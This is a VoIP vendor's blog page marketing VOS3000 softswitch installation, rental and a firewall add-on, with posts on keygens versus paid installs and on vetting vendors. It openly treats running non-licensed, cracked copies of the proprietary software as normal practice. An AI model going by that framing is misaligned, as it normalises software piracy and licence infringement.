2. Our Firewall block all chinese/russian/hacker ip database. So its completely updated automatically from our ip database.

3. We changed SSH ports as well and without allowing “Access Code” you can’t even login ssh.

4. VOS3000 Extended Firewall rules updated every month, version wise rules are not same, because each version have each type loophole, so need to study and work accordingly. Otherwise firewall will be useless.

5. we do not use any php based web firewall which looks good but actually not work well

6. we use simple rules in iptables and access code based system

7. outlook is not important for firewall the backend rules is most important here

Contact us for more info: +8801911119966 (whatsapp text only)

VOS3000 Extended Firewall, VOS3000 Installation, VOS3000 Server, VOS3000 SoftSwitch, VOS3000 Switch, VOS3000, VOS3000 Pricem VOS3000 Web, VOS3000 API, VOS3000 Rent, VOS3000 Manual, VOS3000 Downloads, VOS3000 VoIP, VOS3000 Carrier Switch, VOS3000 Extended Firewall

visit https://www.vos3000.com for more info


  • VOS3000 High CPU Usage Essential Server Performance Best Optimization
  • VOS3000 Database Recovery Complete MySQL Corruption Fix Solution
  • VOS3000 Call Drop Disconnect Proven Troubleshooting Guide
  • VOS3000 SIP Registration Failed Complete Causes Solutions
  • VOS3000 One-Way Audio Fix True Essential SIP RTP Troubleshooting
multahost-vos3000-server-banner, VOS3000 2.1.8.00, VOS3000 All PDF Manuals, VOS3000 client, Vendor Billing

VOS3000 Keygen vs Installation, Choose Best One!

May 27, 2019January 19, 2026 king

VOS3000 Keygen vs Installation, Choose Best One!

Hello all,

Many of people asked some people sell keygen+files and some sell installations. Thing is if you are a voip wholesaler why you need vos3000 keygen+files ? Don’t waste money, those people actually sell files+keygen they are seasonal businessman. They just simply scrap seller, they knows they can’t give future service, so they sell files and keygen. But if you are a voip wholesaler you don’t need to take extra headache. Everybody do his own work, if we want to do all then we have to be farmer, cloths maker, developer etc. But each people have their specialty on their work. So do not for keygen and be aware about keygen seller. They will never able to provide better service.

When you need service just take the installation and work accordingly. VOS3000 Versions will change again, then just try another one. Do not waste money with those stuffs.

Contact in whatsapp for more info : +8801911119966 (text only)

download all vos3000 user manuals for free from : https://www.vos3000.com

Thanks


VOS3000 VoIP Softswitch – Complete Guide, Features, Installation & Security

VOS3000 Installation Guide – Secure Setup, CentOS, Firewall & Best Practices

VOS3000 Softswitch Rent, Installation & Price – Dedicated and Cloud Server Solutions

VOS3000-Offer, VOS3000 Price, VOS3000 rent, VOS3000 Hosting, VOS3000 installation, VOS3000 CentOS, VOS3000 Hosted, VOS3000 21907, VOS3000 Web, VOS3000 Softswitch, VOS3000 Keygen, VOS3000 Login, VOS3000 API, VOS3000 Anti Hack
  • VOS3000 High CPU Usage Essential Server Performance Best Optimization
  • VOS3000 Database Recovery Complete MySQL Corruption Fix Solution
  • VOS3000 Call Drop Disconnect Proven Troubleshooting Guide
  • VOS3000 SIP Registration Failed Complete Causes Solutions
  • VOS3000 One-Way Audio Fix True Essential SIP RTP Troubleshooting

Cheapest VS Cheaper VOS3000!

May 27, 2019June 4, 2019 king

Hello all,

Sometime some people offer something which is almost unbelievable. Provide super offer. But there is always conditions!!! Or hidden things. Let me tell you a story:

In 2009/2010 i was working with one good softswitch brand as regional manager for asia. One reseller came for hosting solution and we gave monthly license offer for 100 usd month. After that he added dialer license from another company around 100 usd, his server cost/support etc is around 100 usd. Now his cost is 300 usd and he start selling it @ 99 usd full package!! Just think carefully: there is nobody here to do charity or give loss. Then what is his secret ? Later on we discovered he hacked 10 usd a day from each server and in voip its a very small amount, nobody even understand. So actually he is charging 400 usd overall! He hacked only 10 usd – so client can’t understand anything. He was almost top for hosted server with voip softswitch that time. So be realistic, don’t go for cheapest, try cheaper but not cheapest.

Many people offer 50/100 usd vos3000 installation with many offers. Be careful always, installing isn’t hard. Sometime even you can do that but solving future issues is not easy, so always spend little more and get quality solution. All price depends on the service, trust, quality, future requirements.

All golden colors product are not GOLD. VOS3000/Softswitch is the main thing which will help you to grow your business. You must choose things carefully here, because it will help you in many ways. You must need to feed your cow if you need Good Milk!!

Before Choosing Server/Softswitch Vendors. Must keep in mind…

May 27, 2019June 2, 2019 king

Hello all,

I am not professional writer, please ignore typos and grammatical mistakes.

  • Know your requirement first:

First of all you need to know what you need. If you are looking for softswitch then cheaper switch is vos3000 for small wholesaler. If you have better call volume and have good business then consider other carrier grade system. VOS3000 is only good for handle bulk calls, junk calls, cc calls.

  • Concurrency Requirements:

  • If VOS3000 is your choice then first be sure how much capacity server you need. VOS3000 use very small resource, so up-to 1000 calls its fine to use cloud server. Because it will be cheaper for you, many people go for dedicated server where they have only 100 concurrent calls, its actually waste of money. Unless you don’t use media proxy just simply use cheaper server.

    • Licensed VOS3000/Non Licensed:

  • Obviously 100% there is no alternative of license vos3000 which provide by linknat. If you can afford it obviously go for it. But remember they don’t have any hosted/rental offers. If you get anyone who offer licensed copy rent then it might be lie. Linknat only offer their system for sell and they do not sell older versions. Prices are depends on payment mode, it can be 10-16k usd depending on your bargain capacity. But their support is very poor.

    • For non Licensed vendor:

    • If you have lower budget and can not afford licensed, need local supports, don’t want to invest much in softswitch then you can go for non licensed vos3000. Now its most important is selecting vendors for your switch. Must need to follow those steps.
      Double check from how long that company running and proving service. Do a small background check by checking their website and check which records.
      Check if they have their real address and name listed in website or website whois records.
      See if their whatsapp have their photos or not, try to get their other social ids.
      Search their company name in google maps, some people add fake maps but still see if they have pictures on that maps or not. Simply try to gather as much information possible. Its for your safety, it seems funny but your switch will have all data and everything. So you need to know about it where you are keeping it.
      If that person work from home or actually running office. If they provide better rates and work from home then go for it. When you will be in trouble you will never get them. Normally trouble not come but when you are paying why you don’t take from better place.
      Now some people rent server even they don’t have a own website. Using gamil id, how one person don’t have even website ready which need 100 usd maximum. How they will give you support, be aware of those type single man show company.
      Always don’t go for cheapest option, try cheaper but not cheapest. Your business will be better in future. Good stable company can help you in many other ways and you can learn a lot from them.
      Fake names/identity hider/non company email ids/no website for company/no physical office/newly formed company/less experience or connections – avoid them.
      2 years back in ITW i saw many people use similar company names, fake trade reference and finally they cheat with clients. So your small carefulness will help you to success in your business
      Don’t only take reference from friends, sometime for sales commission friends suggest anyone where they have much margin. Google it whatever service you need then go for it.
      Know configurations instead of concurrency, as people tell 2000,5000 cc but in same config. So proper judgement – always ask configuration they are providing and then compare.”
  • There are many more things need to follow, i will try to think more and will add in future blogs.
  • There are many people providing rental solution for vos3000 but try to take it from experts. It will be hell easy for you to run the show. Remember one thing: crack products is always free but you are paying for the service who si providing. There is no price for the products, service price obviously matter depending quality. Don’t be fool and buy product with high price for lower service.

    Posts navigation

    Older Posts
    Newer Posts

    Recent Posts

    • VOS3000 High CPU Usage Essential Server Performance Best Optimization
    • VOS3000 Database Recovery Complete MySQL Corruption Fix Solution
    • VOS3000 Call Drop Disconnect Proven Troubleshooting Guide
    • VOS3000 SIP Registration Failed Complete Causes Solutions
    • VOS3000 One-Way Audio Fix True Essential SIP RTP Troubleshooting
    • VOS3000 vs VoIPSwitch Complete Wholesale Platform True Comparison
    • VOS3000 vs Kamailio Essential SIP Server vs Softswitch Best Guide
    • VOS3000 vs 3CX Proven Softswitch vs PBX Platform Comparison
    • VOS3000 vs ITel Switch Powerful Feature Pricing Comparison
    • VOS3000 vs A2Billing Complete Comparison for VoIP Operators Important
    • VOS3000 Clearing Report Settlement Reliable Financial Reconciliation
    • VOS3000 Analysis Report Gateway Comprehensive Performance ASR ACD
    • VOS3000 Bill Report Revenue Accurate Gateway Phone Account Details
    • VOS3000 Report System Best Process Bill Cards Clearing Analysis Reports
    • VOS3000 Authorization Management Robust Number Section Limitation Easy Guide
    • VOS3000 Agent Account System Strategic Commission Hierarchy Important Setup
    • Como Bloquear Llamadas Fraudulentas VOS3000 Proven: Anti-Fraude
    • Como Exportar CDR VOS3000 True Essential: Sistema Externo
    • Como Configurar Plan Marcacion VOS3000 Important: Prefijos
    • Como Actualizar VOS3000 Version 2.1.9.07 True Complete: Guia Version
    • Como Migrar VOS3000 Servidor Proven: Paso a Paso
    • Como Asegurar Servidor VOS3000 Powerful: Hardening Completo
    • Como Leer Registros CDR VOS3000 Essential: Guia Campos
    • Como Crear Cuentas VOS3000 True Complete: Tipos Configuracion
    • Como Agregar Pasarela VOS3000 Proven: Guia Completa 2026
    [email protected]
    +8801911119966
    Change VOS3000 2.1.9.07 Chinese Client to English Client Easy Step!Change VOS3000 2.1.9.07 Chinese Client to English Client Easy Step!
    VOS3000 ASR ACD分析完整配置指南 ImportantVOS3000 ASR ACD分析完整配置指南 Important
    SIP 403 Forbidden: Complete Troubleshooting Guide for VoIP Access Denied ErrorsSIP 403 Forbidden: Complete Troubleshooting Guide for VoIP Access Denied Errors
    VOS3000 2.1.8.00 / 2.1.8.05 Complete English Manual Download Free!VOS3000 2.1.8.00 / 2.1.8.05 Complete English Manual Download Free!
    Proudly powered by WordPress | Theme: Nucleare by CrestaProject.
    Back to top
    WhatsApp chat